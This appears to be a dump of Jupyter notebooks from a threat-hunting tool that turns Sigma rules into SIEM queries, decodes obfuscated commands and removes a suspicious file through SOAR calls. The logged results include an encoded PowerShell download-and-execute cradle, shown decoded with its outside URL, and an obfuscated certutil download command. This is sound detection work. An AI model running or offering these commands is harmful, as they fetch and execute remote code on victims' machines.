563 | " Path: {}{}
\\\n",
564 | " PID: {}
\\\n",
565 | " CommandLine: {}
\\\n",
566 | " Parent:{}\\\n",
567 | " GUID: {}\\\n",
568 | " Parent GUID: {}\\\n",
569 | " \".format(\n",
570 | " row['UNIXTIME'],\n",
571 | " row['sourceusername'], \n",
572 | " row['devicecustomstring4'], \n",
573 | " #row['destinationusername'],\n",
574 | " row['filepath'],\n",
575 | " row['destinationprocessname'],\n",
576 | " row['deviceprocessid'],\n",
577 | " row['resourcecustomfield1'],\n",
578 | " row['sourceprocessname'],\n",
579 | " row['deviceexternalid'], #guid\n",
580 | " row['flowsiemid'], #parent guid \n",
581 | " \n",
582 | " )\n",
583 | " G.add_node(row['deviceexternalid'], color='#30a1a5',size=20, title=process_meta, label=row['destinationprocessname'])\n",
584 | " G.add_edge(row['flowsiemid'], row['deviceexternalid'], weight=10)\n",
585 | " return 1\n",
586 | "\n",
587 | "process_tree_nodes['OK'] = process_tree_nodes.apply(lambda row: create_graph(row), axis=1)\n",
588 | "\n",
589 | "nt = net.Network(\"400px\", \"1500px\", heading=\"Process Tree Graph\", notebook=True, directed=True)\n",
590 | "nt.from_nx(G)\n",
591 | "nt.show(\"process_tree_graph.html\")"
592 | ],
593 | "outputs": [
594 | {
595 | "output_type": "stream",
596 | "name": "stderr",
597 | "text": [
598 | "processed: 1 requests: 100%|██████████| 1/1 [00:01<00:00, 1.24s/it]\n"
599 | ]
600 | },
601 | {
602 | "output_type": "execute_result",
603 | "data": {
604 | "text/html": [
605 | "\n",
606 | " \n",
613 | " "
614 | ],
615 | "text/plain": [
616 | ""
617 | ]
618 | },
619 | "metadata": {},
620 | "execution_count": 12
621 | }
622 | ],
623 | "metadata": {}
624 | },
625 | {
626 | "cell_type": "markdown",
627 | "source": [
628 | "\n",
629 | "## Let's get hash of this suspicious file \"C:\\\\temp\\\\p.exe\" using SX SOAR microservice "
630 | ],
631 | "metadata": {}
632 | },
633 | {
634 | "cell_type": "code",
635 | "execution_count": 13,
636 | "source": [
637 | "filepath = \"C:\\\\temp\\\\p.exe\"\n",
638 | "results = cs.returnFileHashByFilePath(filepath, device)\n",
639 | "filehash = results[\"SHA256\"]\n",
640 | "print(\"sha256 hash: %s\" % filehash)"
641 | ],
642 | "outputs": [
643 | {
644 | "output_type": "stream",
645 | "name": "stdout",
646 | "text": [
647 | "sha256 hash: DBD961168786CF454201CCBEF2C7AA7FA72A62A9D353032393CB31C2F8B37D60\n"
648 | ]
649 | }
650 | ],
651 | "metadata": {}
652 | },
653 | {
654 | "cell_type": "markdown",
655 | "source": [
656 | "\n",
657 | "## Check this hash at VT using SX SOAR microservice"
658 | ],
659 | "metadata": {}
660 | },
661 | {
662 | "cell_type": "code",
663 | "execution_count": 14,
664 | "source": [
665 | "report = vt.retrieveScanFileReport(filehash)\n",
666 | "print(\"VT Status: %s\" % report[filehash]['status'])\n"
667 | ],
668 | "outputs": [
669 | {
670 | "output_type": "stream",
671 | "name": "stdout",
672 | "text": [
673 | "VT Status: 1/58\n"
674 | ]
675 | }
676 | ],
677 | "metadata": {}
678 | },
679 | {
680 | "cell_type": "markdown",
681 | "source": [
682 | "\n",
683 | "## Terminate process file from device using SX SOAR Microservice"
684 | ],
685 | "metadata": {}
686 | },
687 | {
688 | "cell_type": "code",
689 | "execution_count": 15,
690 | "source": [
691 | "results = cs.terminateRunningProcess(\"p.exe\", device)\n",
692 | "results"
693 | ],
694 | "outputs": [
695 | {
696 | "output_type": "execute_result",
697 | "data": {
698 | "text/plain": [
699 | "{'Termination Status by ProcessID': {'7512': 'Process killed successfully'},\n",
700 | " 'Hostname': 'WIN10-LAPTOP004',\n",
701 | " 'Process': 'p.exe'}"
702 | ]
703 | },
704 | "metadata": {},
705 | "execution_count": 15
706 | }
707 | ],
708 | "metadata": {}
709 | },
710 | {
711 | "cell_type": "markdown",
712 | "source": [
713 | "\n",
714 | "## Delete file from device using SX SOAR Microservice"
715 | ],
716 | "metadata": {}
717 | },
718 | {
719 | "cell_type": "code",
720 | "execution_count": 16,
721 | "source": [
722 | "results = cs.deleteFileByFileName(\"p.exe\", device)\n",
723 | "results"
724 | ],
725 | "outputs": [
726 | {
727 | "output_type": "execute_result",
728 | "data": {
729 | "text/plain": [
730 | "{'Status': 'Deleted'}"
731 | ]
732 | },
733 | "metadata": {},
734 | "execution_count": 16
735 | }
736 | ],
737 | "metadata": {}
738 | },
739 | {
740 | "cell_type": "code",
741 | "execution_count": null,
742 | "source": [],
743 | "outputs": [],
744 | "metadata": {}
745 | }
746 | ],
747 | "metadata": {
748 | "kernelspec": {
749 | "display_name": "Python 3",
750 | "language": "python",
751 | "name": "python3"
752 | },
753 | "language_info": {
754 | "codemirror_mode": {
755 | "name": "ipython",
756 | "version": 3
757 | },
758 | "file_extension": ".py",
759 | "mimetype": "text/x-python",
760 | "name": "python",
761 | "nbconvert_exporter": "python",
762 | "pygments_lexer": "ipython3",
763 | "version": "3.8.1"
764 | }
765 | },
766 | "nbformat": 4,
767 | "nbformat_minor": 4
768 | }
--------------------------------------------------------------------------------
/omega/examples/CertutilObfuscation.ipynb:
--------------------------------------------------------------------------------
1 | {
2 | "cells": [
3 | {
4 | "cell_type": "markdown",
5 | "metadata": {},
6 | "source": [
7 | "### Hunting detection #4\n"
8 | ]
9 | },
10 | {
11 | "cell_type": "code",
12 | "execution_count": 1,
13 | "metadata": {},
14 | "outputs": [],
15 | "source": [
16 | "import sys,os\n",
17 | "os.chdir('../../')\n",
18 | "sys.path += [ os.path.abspath('../str-omega'), os.path.abspath('../str-omega/sigma/tools')]\n"
19 | ]
20 | },
21 | {
22 | "cell_type": "markdown",
23 | "metadata": {},
24 | "source": [
25 | "## Import Libraries and convert detection to SIEM query"
26 | ]
27 | },
28 | {
29 | "cell_type": "code",
30 | "execution_count": 2,
31 | "metadata": {},
32 | "outputs": [
33 | {
34 | "name": "stdout",
35 | "output_type": "stream",
36 | "text": [
37 | "{\n",
38 | " \"query\": {\n",
39 | " \"constant_score\": {\n",
40 | " \"filter\": {\n",
41 | " \"bool\": {\n",
42 | " \"must\": [\n",
43 | " {\n",
44 | " \"match_phrase\": {\n",
45 | " \"event_id\": \"1\"\n",
46 | " }\n",
47 | " },\n",
48 | " {\n",
49 | " \"bool\": {\n",
50 | " \"should\": [\n",
51 | " {\n",
52 | " \"wildcard\": {\n",
53 | " \"process_command_line.keyword\": \"*/f*\"\n",
54 | " }\n",
55 | " },\n",
56 | " {\n",
57 | " \"wildcard\": {\n",
58 | " \"process_command_line.keyword\": \"*-f*\"\n",
59 | " }\n",
60 | " }\n",
61 | " ]\n",
62 | " }\n",
63 | " }\n",
64 | " ]\n",
65 | " }\n",
66 | " }\n",
67 | " }\n",
68 | " }\n",
69 | "}\n"
70 | ]
71 | }
72 | ],
73 | "source": [
74 | "import json\n",
75 | "from sigma.config.collection import SigmaConfigurationManager\n",
76 | "from sigma.configuration import SigmaConfiguration, SigmaConfigurationChain\n",
77 | "from sigma.parser.collection import SigmaCollectionParser\n",
78 | "from sigma.backends.elasticsearch import ElastalertBackendQs\n",
79 | "\n",
80 | "from sigma.backends.elasticsearch import ElasticsearchDSLBackend\n",
81 | "\n",
82 | "\n",
83 | "class ConvertDetection(ElasticsearchDSLBackend):\n",
84 | " def __init__(self, *args, **kwargs):\n",
85 | " mapping, = args\n",
86 | " with open(mapping, 'r') as stream:\n",
87 | " self.sigmaconfigs = SigmaConfiguration(configyaml=stream)\n",
88 | " super().__init__(self.sigmaconfigs, {})\n",
89 | "\n",
90 | " def convert(self, a2b_file):\n",
91 | " with open(a2b_file, 'r') as stream:\n",
92 | " parser = SigmaCollectionParser(stream, self.sigmaconfigs, None)\n",
93 | "\n",
94 | " parser.generate(self)\n",
95 | " result = self.finalize()\n",
96 | " return result\n",
97 | " \n",
98 | "mapping = \"./Demo/RT-TOP5/detections/mapping.yml\"\n",
99 | "detection = \"./Demo/RT-TOP5/detections/detection4.yml\"\n",
100 | "\n",
101 | "backend = ConvertDetection(mapping)\n",
102 | "query_txt = backend.convert(detection)\n",
103 | "query = json.loads(query_txt)\n",
104 | "print(json.dumps(\n",
105 | " query,\n",
106 | " sort_keys=True,\n",
107 | " indent=4,\n",
108 | " separators=(',', ': ')\n",
109 | "))\n"
110 | ]
111 | },
112 | {
113 | "cell_type": "markdown",
114 | "metadata": {},
115 | "source": [
116 | "## Create connection to SIEM and run converted query"
117 | ]
118 | },
119 | {
120 | "cell_type": "code",
121 | "execution_count": 3,
122 | "metadata": {},
123 | "outputs": [
124 | {
125 | "name": "stdout",
126 | "output_type": "stream",
127 | "text": [
128 | "Got 2945 Hits\n"
129 | ]
130 | }
131 | ],
132 | "source": [
133 | "#!python3 -m pip install elasticsearch\n",
134 | "from elasticsearch import Elasticsearch\n",
135 | "es = Elasticsearch(['http://localhost:9200'])\n",
136 | "res = es.search(index=\"logs-endpoint-winevent-sysmon-*\", body=query, size='10000')\n",
137 | "print(\"Got %d Hits\" % res['hits']['total']['value'])"
138 | ]
139 | },
140 | {
141 | "cell_type": "code",
142 | "execution_count": null,
143 | "metadata": {},
144 | "outputs": [],
145 | "source": [
146 | "# res['hits']"
147 | ]
148 | },
149 | {
150 | "cell_type": "markdown",
151 | "metadata": {},
152 | "source": [
153 | "## Check results "
154 | ]
155 | },
156 | {
157 | "cell_type": "code",
158 | "execution_count": 4,
159 | "metadata": {},
160 | "outputs": [
161 | {
162 | "data": {
163 | "text/html": [
164 | "\n",
165 | "\n",
178 | "
\n",
179 | " \n",
180 | " \n",
181 | " | \n",
182 | " event_original_time | \n",
183 | " process_command_line | \n",
184 | "
\n",
185 | " \n",
186 | " \n",
187 | " \n",
188 | " 0 | \n",
189 | " 2021-07-27T00:38:43.359Z | \n",
190 | " \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... | \n",
191 | "
\n",
192 | " \n",
193 | " 1 | \n",
194 | " 2021-07-27T00:38:44.548Z | \n",
195 | " \"collectguestlogs.exe\" -mode:ga -filename:d:\\c... | \n",
196 | "
\n",
197 | " \n",
198 | " 2 | \n",
199 | " 2021-07-27T00:38:44.565Z | \n",
200 | " \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... | \n",
201 | "
\n",
202 | " \n",
203 | " 3 | \n",
204 | " 2021-07-27T00:38:53.531Z | \n",
205 | " \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... | \n",
206 | "
\n",
207 | " \n",
208 | " 4 | \n",
209 | " 2021-07-27T00:29:37.057Z | \n",
210 | " \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... | \n",
211 | "
\n",
212 | " \n",
213 | " ... | \n",
214 | " ... | \n",
215 | " ... | \n",
216 | "
\n",
217 | " \n",
218 | " 2940 | \n",
219 | " 2021-08-03T13:27:34.379Z | \n",
220 | " c:\\windows\\system32\\taskkill.exe /f /fi \"modul... | \n",
221 | "
\n",
222 | " \n",
223 | " 2941 | \n",
224 | " 2021-08-03T13:27:34.387Z | \n",
225 | " \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... | \n",
226 | "
\n",
227 | " \n",
228 | " 2942 | \n",
229 | " 2021-08-03T13:27:34.564Z | \n",
230 | " \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... | \n",
231 | "
\n",
232 | " \n",
233 | " 2943 | \n",
234 | " 2021-08-03T13:27:33.881Z | \n",
235 | " \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... | \n",
236 | "
\n",
237 | " \n",
238 | " 2944 | \n",
239 | " 2021-08-03T13:27:38.080Z | \n",
240 | " \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... | \n",
241 | "
\n",
242 | " \n",
243 | "
\n",
244 | "
2945 rows × 2 columns
\n",
245 | "
"
246 | ],
247 | "text/plain": [
248 | " event_original_time \\\n",
249 | "0 2021-07-27T00:38:43.359Z \n",
250 | "1 2021-07-27T00:38:44.548Z \n",
251 | "2 2021-07-27T00:38:44.565Z \n",
252 | "3 2021-07-27T00:38:53.531Z \n",
253 | "4 2021-07-27T00:29:37.057Z \n",
254 | "... ... \n",
255 | "2940 2021-08-03T13:27:34.379Z \n",
256 | "2941 2021-08-03T13:27:34.387Z \n",
257 | "2942 2021-08-03T13:27:34.564Z \n",
258 | "2943 2021-08-03T13:27:33.881Z \n",
259 | "2944 2021-08-03T13:27:38.080Z \n",
260 | "\n",
261 | " process_command_line \n",
262 | "0 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n",
263 | "1 \"collectguestlogs.exe\" -mode:ga -filename:d:\\c... \n",
264 | "2 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n",
265 | "3 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n",
266 | "4 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n",
267 | "... ... \n",
268 | "2940 c:\\windows\\system32\\taskkill.exe /f /fi \"modul... \n",
269 | "2941 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n",
270 | "2942 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n",
271 | "2943 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n",
272 | "2944 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n",
273 | "\n",
274 | "[2945 rows x 2 columns]"
275 | ]
276 | },
277 | "execution_count": 4,
278 | "metadata": {},
279 | "output_type": "execute_result"
280 | }
281 | ],
282 | "source": [
283 | "from pandas import json_normalize\n",
284 | "import pandas as pd\n",
285 | "#pd.set_option('display.max_colwidth', None)\n",
286 | "\n",
287 | "df = json_normalize([x['_source'] for x in res['hits']['hits']])\n",
288 | "df[['event_original_time', 'process_command_line']]\n",
289 | "# with pd.option_context('display.max_rows', 10, 'display.max_columns', None, 'display.colheader_justify','light', 'display.width', 2000, 'display.max_colwidth', 500):\n",
290 | "# df_styled = df.copy()\n",
291 | "# df_styled = df_styled[['event_original_time', 'process_command_line']]\n",
292 | "# df_styled = df_styled.stack().str.lstrip().unstack()\n",
293 | "# df_styled = df_styled.style.set_properties(**{'text-align': 'left'})\n",
294 | " \n",
295 | "# df_styled"
296 | ]
297 | },
298 | {
299 | "cell_type": "code",
300 | "execution_count": 6,
301 | "metadata": {},
302 | "outputs": [
303 | {
304 | "data": {
305 | "text/html": [
306 | " | event_original_time | process_command_line |
\n",
310 | " \n",
311 | " 2851 | \n",
312 | " 2021-08-03T08:51:04.538Z | \n",
313 | " certutil -f -urᴸ\"cach\"e -split https://wietze.github.io/robots.txt output.txt | \n",
314 | "
\n",
315 | " \n",
316 | " 0 | \n",
317 | " 2021-07-27T00:38:43.359Z | \n",
318 | " \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff -forcev1 | \n",
319 | "
\n",
320 | " \n",
321 | " 1967 | \n",
322 | " 2021-07-30T08:45:29.361Z | \n",
323 | " c:\\windows\\system32\\compattelrunner.exe -m:appraiser.dll -f:updateavstatus -cv:c9kfrkhweu2+g8u3.3 | \n",
324 | "
\n",
325 | " \n",
326 | " 1958 | \n",
327 | " 2021-07-30T05:00:14.730Z | \n",
328 | " \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff -forcev1 | \n",
329 | "
\n",
330 | " \n",
331 | " 1959 | \n",
332 | " 2021-07-30T05:00:22.594Z | \n",
333 | " \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff -forcev1 | \n",
334 | "
\n",
335 | "
"
336 | ],
337 | "text/plain": [
338 | ""
339 | ]
340 | },
341 | "execution_count": 6,
342 | "metadata": {},
343 | "output_type": "execute_result"
344 | }
345 | ],
346 | "source": [
347 | "def calc(cmdline):\n",
348 | " return len(cmdline) - len(cmdline.encode(\"ascii\", \"ignore\"))\n",
349 | "\n",
350 | "df['obf'] = df.apply(lambda row : calc(row['process_command_line']), axis = 1)\n",
351 | "with pd.option_context('display.max_rows', None, 'display.max_columns', None, 'display.colheader_justify','light', 'display.width', 2000, 'display.max_colwidth', 500):\n",
352 | " df_styled = df[['event_original_time', 'process_command_line', 'obf']].sort_values(by=['obf'], ascending=False).head(5).copy()\n",
353 | " df_styled = df_styled[['event_original_time', 'process_command_line']]\n",
354 | " df_styled = df_styled.stack().str.lstrip().unstack()\n",
355 | " df_styled = df_styled.style.set_properties(**{'text-align': 'left'})\n",
356 | " \n",
357 | "df_styled\n",
358 | "\n",
359 | "\n"
360 | ]
361 | },
362 | {
363 | "cell_type": "code",
364 | "execution_count": null,
365 | "metadata": {},
366 | "outputs": [],
367 | "source": []
368 | }
369 | ],
370 | "metadata": {
371 | "kernelspec": {
372 | "display_name": "Python 3",
373 | "language": "python",
374 | "name": "python3"
375 | },
376 | "language_info": {
377 | "codemirror_mode": {
378 | "name": "ipython",
379 | "version": 3
380 | },
381 | "file_extension": ".py",
382 | "mimetype": "text/x-python",
383 | "name": "python",
384 | "nbconvert_exporter": "python",
385 | "pygments_lexer": "ipython3",
386 | "version": "3.8.1"
387 | }
388 | },
389 | "nbformat": 4,
390 | "nbformat_minor": 4
391 | }
392 |
--------------------------------------------------------------------------------
/omega/examples/PSObfuscation.ipynb:
--------------------------------------------------------------------------------
1 | {
2 | "cells": [
3 | {
4 | "cell_type": "markdown",
5 | "metadata": {},
6 | "source": [
7 | "### Hunting detection #1"
8 | ]
9 | },
10 | {
11 | "cell_type": "code",
12 | "execution_count": 1,
13 | "metadata": {},
14 | "outputs": [],
15 | "source": [
16 | "import sys,os\n",
17 | "os.chdir('../../')\n",
18 | "sys.path += [ os.path.abspath('../str-omega'), os.path.abspath('../str-omega/sigma/tools')]\n"
19 | ]
20 | },
21 | {
22 | "cell_type": "markdown",
23 | "metadata": {},
24 | "source": [
25 | "## Import Libraries and convert detection to SIEM query"
26 | ]
27 | },
28 | {
29 | "cell_type": "code",
30 | "execution_count": 2,
31 | "metadata": {},
32 | "outputs": [
33 | {
34 | "name": "stdout",
35 | "output_type": "stream",
36 | "text": [
37 | "{\n",
38 | " \"query\": {\n",
39 | " \"constant_score\": {\n",
40 | " \"filter\": {\n",
41 | " \"bool\": {\n",
42 | " \"must\": [\n",
43 | " {\n",
44 | " \"match_phrase\": {\n",
45 | " \"event_id\": \"1\"\n",
46 | " }\n",
47 | " },\n",
48 | " {\n",
49 | " \"wildcard\": {\n",
50 | " \"process_command_line.keyword\": \"* -e*\"\n",
51 | " }\n",
52 | " },\n",
53 | " {\n",
54 | " \"bool\": {\n",
55 | " \"should\": [\n",
56 | " {\n",
57 | " \"wildcard\": {\n",
58 | " \"process_command_line.keyword\": \"* jab*\"\n",
59 | " }\n",
60 | " },\n",
61 | " {\n",
62 | " \"wildcard\": {\n",
63 | " \"process_command_line.keyword\": \"* sqbfafga*\"\n",
64 | " }\n",
65 | " }\n",
66 | " ]\n",
67 | " }\n",
68 | " }\n",
69 | " ]\n",
70 | " }\n",
71 | " }\n",
72 | " }\n",
73 | " }\n",
74 | "}\n"
75 | ]
76 | }
77 | ],
78 | "source": [
79 | "import json\n",
80 | "from sigma.config.collection import SigmaConfigurationManager\n",
81 | "from sigma.configuration import SigmaConfiguration, SigmaConfigurationChain\n",
82 | "from sigma.parser.collection import SigmaCollectionParser\n",
83 | "from sigma.backends.elasticsearch import ElastalertBackendQs\n",
84 | "\n",
85 | "from sigma.backends.elasticsearch import ElasticsearchDSLBackend\n",
86 | "\n",
87 | "\n",
88 | "class ConvertDetection(ElasticsearchDSLBackend):\n",
89 | " def __init__(self, *args, **kwargs):\n",
90 | " mapping, = args\n",
91 | " with open(mapping, 'r') as stream:\n",
92 | " self.sigmaconfigs = SigmaConfiguration(configyaml=stream)\n",
93 | " super().__init__(self.sigmaconfigs, {})\n",
94 | "\n",
95 | " def convert(self, a2b_file):\n",
96 | " with open(a2b_file, 'r') as stream:\n",
97 | " parser = SigmaCollectionParser(stream, self.sigmaconfigs, None)\n",
98 | "\n",
99 | " parser.generate(self)\n",
100 | " result = self.finalize()\n",
101 | " return result\n",
102 | " \n",
103 | "mapping = \"./Demo/RT-TOP5/detections/mapping.yml\"\n",
104 | "detection = \"./Demo/RT-TOP5/detections/detection1.yml\"\n",
105 | "\n",
106 | "backend = ConvertDetection(mapping)\n",
107 | "query_txt = backend.convert(detection)\n",
108 | "query = json.loads(query_txt)\n",
109 | "print(json.dumps(\n",
110 | " query,\n",
111 | " sort_keys=True,\n",
112 | " indent=4,\n",
113 | " separators=(',', ': ')\n",
114 | "))\n"
115 | ]
116 | },
117 | {
118 | "cell_type": "markdown",
119 | "metadata": {},
120 | "source": [
121 | "## Create connection to SIEM and run converted query"
122 | ]
123 | },
124 | {
125 | "cell_type": "code",
126 | "execution_count": 3,
127 | "metadata": {},
128 | "outputs": [
129 | {
130 | "name": "stdout",
131 | "output_type": "stream",
132 | "text": [
133 | "Got 2 Hits\n"
134 | ]
135 | }
136 | ],
137 | "source": [
138 | "#!python3 -m pip install elasticsearch\n",
139 | "from elasticsearch import Elasticsearch\n",
140 | "es = Elasticsearch(['http://localhost:9200'])\n",
141 | "res = es.search(index=\"logs-endpoint-winevent-sysmon-*\", body=query)\n",
142 | "print(\"Got %d Hits\" % res['hits']['total']['value'])"
143 | ]
144 | },
145 | {
146 | "cell_type": "markdown",
147 | "metadata": {},
148 | "source": [
149 | "## Check results "
150 | ]
151 | },
152 | {
153 | "cell_type": "code",
154 | "execution_count": 4,
155 | "metadata": {},
156 | "outputs": [
157 | {
158 | "data": {
159 | "text/html": [
160 | " | process_command_line |
\n",
164 | " \n",
165 | " 0 | \n",
166 | " \"c:\\windows\\system32\\cmd.exe\" /c powershell -nop -w hidden -ep bypass -enc sqbfafgaiaaoae4azqb3ac0atwbiagoazqbjahqaiaboaguadaauafcazqbiagmababpaguabgb0ackalgbkag8adwbuagwabwbhagqacwb0ahiaaqbuagcakaaiaggadab0ahaaogavac8abgblahqadgbhagwabablahkaawblag4aeqbhac4aywbvag0alwbjahiabqauahaaaabwaciakqa= | \n",
167 | "
\n",
168 | " \n",
169 | " 1 | \n",
170 | " powershell -nop -w hidden -ep bypass -enc sqbfafgaiaaoae4azqb3ac0atwbiagoazqbjahqaiaboaguadaauafcazqbiagmababpaguabgb0ackalgbkag8adwbuagwabwbhagqacwb0ahiaaqbuagcakaaiaggadab0ahaaogavac8abgblahqadgbhagwabablahkaawblag4aeqbhac4aywbvag0alwbjahiabqauahaaaabwaciakqa= | \n",
171 | "
\n",
172 | "
"
173 | ],
174 | "text/plain": [
175 | ""
176 | ]
177 | },
178 | "execution_count": 4,
179 | "metadata": {},
180 | "output_type": "execute_result"
181 | }
182 | ],
183 | "source": [
184 | "from pandas import json_normalize\n",
185 | "import pandas as pd\n",
186 | "#pd.set_option('display.max_colwidth', None)\n",
187 | "\n",
188 | "df = json_normalize([x['_source'] for x in res['hits']['hits']])\n",
189 | "\n",
190 | "with pd.option_context('display.max_rows', None, 'display.max_columns', None, 'display.colheader_justify','light', 'display.width', 2000, 'display.max_colwidth', 500):\n",
191 | " df_styled = df.copy()\n",
192 | " df_styled = df_styled[['process_command_line']]\n",
193 | " df_styled = df_styled.stack().str.lstrip().unstack()\n",
194 | " df_styled = df_styled.style.set_properties(**{'text-align': 'left'})\n",
195 | " \n",
196 | "df_styled"
197 | ]
198 | },
199 | {
200 | "cell_type": "markdown",
201 | "metadata": {},
202 | "source": [
203 | "## Decode powershell base64 commands"
204 | ]
205 | },
206 | {
207 | "cell_type": "code",
208 | "execution_count": 5,
209 | "metadata": {},
210 | "outputs": [
211 | {
212 | "data": {
213 | "text/html": [
214 | " | decoded | process_command_line | process_name |
\n",
218 | " \n",
219 | " 0 | \n",
220 | " I\u0000E\u0000X\u0000 \u0000(\u0000N\u0000e\u0000w\u0000-\u0000O\u0000b\u0000j\u0000e\u0000c\u0000t\u0000 \u0000N\u0000e\u0000t\u0000.\u0000W\u0000e\u0000b\u0000c\u0000l\u0000i\u0000e\u0000n\u0000t\u0000)\u0000.\u0000d\u0000o\u0000w\u0000n\u0000l\u0000o\u0000a\u0000d\u0000s\u0000t\u0000r\u0000i\u0000n\u0000g\u0000(\u0000\"\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000n\u0000e\u0000t\u0000v\u0000a\u0000l\u0000l\u0000e\u0000y\u0000k\u0000e\u0000n\u0000y\u0000a\u0000.\u0000c\u0000o\u0000m\u0000/\u0000c\u0000r\u0000m\u0000.\u0000p\u0000h\u0000p\u0000\"\u0000)\u0000 | \n",
221 | " \"c:\\windows\\system32\\cmd.exe\" /c powershell -nop -w hidden -ep bypass -enc sqbfafgaiaaoae4azqb3ac0atwbiagoazqbjahqaiaboaguadaauafcazqbiagmababpaguabgb0ackalgbkag8adwbuagwabwbhagqacwb0ahiaaqbuagcakaaiaggadab0ahaaogavac8abgblahqadgbhagwabablahkaawblag4aeqbhac4aywbvag0alwbjahiabqauahaaaabwaciakqa= | \n",
222 | " cmd.exe | \n",
223 | "
\n",
224 | " \n",
225 | " 1 | \n",
226 | " I\u0000E\u0000X\u0000 \u0000(\u0000N\u0000e\u0000w\u0000-\u0000O\u0000b\u0000j\u0000e\u0000c\u0000t\u0000 \u0000N\u0000e\u0000t\u0000.\u0000W\u0000e\u0000b\u0000c\u0000l\u0000i\u0000e\u0000n\u0000t\u0000)\u0000.\u0000d\u0000o\u0000w\u0000n\u0000l\u0000o\u0000a\u0000d\u0000s\u0000t\u0000r\u0000i\u0000n\u0000g\u0000(\u0000\"\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000n\u0000e\u0000t\u0000v\u0000a\u0000l\u0000l\u0000e\u0000y\u0000k\u0000e\u0000n\u0000y\u0000a\u0000.\u0000c\u0000o\u0000m\u0000/\u0000c\u0000r\u0000m\u0000.\u0000p\u0000h\u0000p\u0000\"\u0000)\u0000 | \n",
227 | " powershell -nop -w hidden -ep bypass -enc sqbfafgaiaaoae4azqb3ac0atwbiagoazqbjahqaiaboaguadaauafcazqbiagmababpaguabgb0ackalgbkag8adwbuagwabwbhagqacwb0ahiaaqbuagcakaaiaggadab0ahaaogavac8abgblahqadgbhagwabablahkaawblag4aeqbhac4aywbvag0alwbjahiabqauahaaaabwaciakqa= | \n",
228 | " powershell.exe | \n",
229 | "
\n",
230 | "
"
231 | ],
232 | "text/plain": [
233 | ""
234 | ]
235 | },
236 | "execution_count": 5,
237 | "metadata": {},
238 | "output_type": "execute_result"
239 | }
240 | ],
241 | "source": [
242 | "import re\n",
243 | "import base64\n",
244 | "\n",
245 | " \n",
246 | "def decode_b64(event):\n",
247 | " _BASE64_REGEX = \"[A-Za-z0-9+\\\\n\\\\r]{30,}={0,2}\"\n",
248 | " BASE64_REGEX_C = re.compile(_BASE64_REGEX, re.I | re.X)\n",
249 | " b64match = BASE64_REGEX_C.search(event)\n",
250 | " if b64match is None:\n",
251 | " return \"-\"\n",
252 | " b64_candidate = b64match[0]\n",
253 | " return base64.b64decode(b64_candidate).decode('utf-8') \n",
254 | "df['decoded'] = df.apply(lambda row: decode_b64(row['event_original_message']), axis=1)\n",
255 | "\n",
256 | "with pd.option_context('display.max_rows', None, 'display.max_columns', None, 'display.colheader_justify','light', 'display.width', 2000, 'display.max_colwidth', 500):\n",
257 | " df = df[['decoded', 'process_command_line', 'process_name']]\n",
258 | " df = df.stack().str.lstrip().unstack()\n",
259 | " df = df.style.set_properties(**{'text-align': 'left'})\n",
260 | " \n",
261 | "df\n"
262 | ]
263 | },
264 | {
265 | "cell_type": "code",
266 | "execution_count": null,
267 | "metadata": {},
268 | "outputs": [],
269 | "source": []
270 | }
271 | ],
272 | "metadata": {
273 | "kernelspec": {
274 | "display_name": "Python 3",
275 | "language": "python",
276 | "name": "python3"
277 | },
278 | "language_info": {
279 | "codemirror_mode": {
280 | "name": "ipython",
281 | "version": 3
282 | },
283 | "file_extension": ".py",
284 | "mimetype": "text/x-python",
285 | "name": "python",
286 | "nbconvert_exporter": "python",
287 | "pygments_lexer": "ipython3",
288 | "version": "3.8.1"
289 | }
290 | },
291 | "nbformat": 4,
292 | "nbformat_minor": 4
293 | }
294 |
--------------------------------------------------------------------------------
/omega/examples/demo-auto-drc.ipynb:
--------------------------------------------------------------------------------
1 | {
2 | "cells": [
3 | {
4 | "cell_type": "code",
5 | "execution_count": 1,
6 | "metadata": {},
7 | "outputs": [],
8 | "source": [
9 | "import pandas as pd\n",
10 | "import sys,os\n",
11 | "os.chdir('../../')\n",
12 | "sys.path += [ os.path.abspath('../str-omega'), os.path.abspath('../str-omega/sigma/tools')]\n",
13 | "\n",
14 | "from omega.vizr import VizrIntegration\n"
15 | ]
16 | },
17 | {
18 | "cell_type": "code",
19 | "execution_count": 2,
20 | "metadata": {},
21 | "outputs": [
22 | {
23 | "name": "stdout",
24 | "output_type": "stream",
25 | "text": [
26 | "#drc\n",
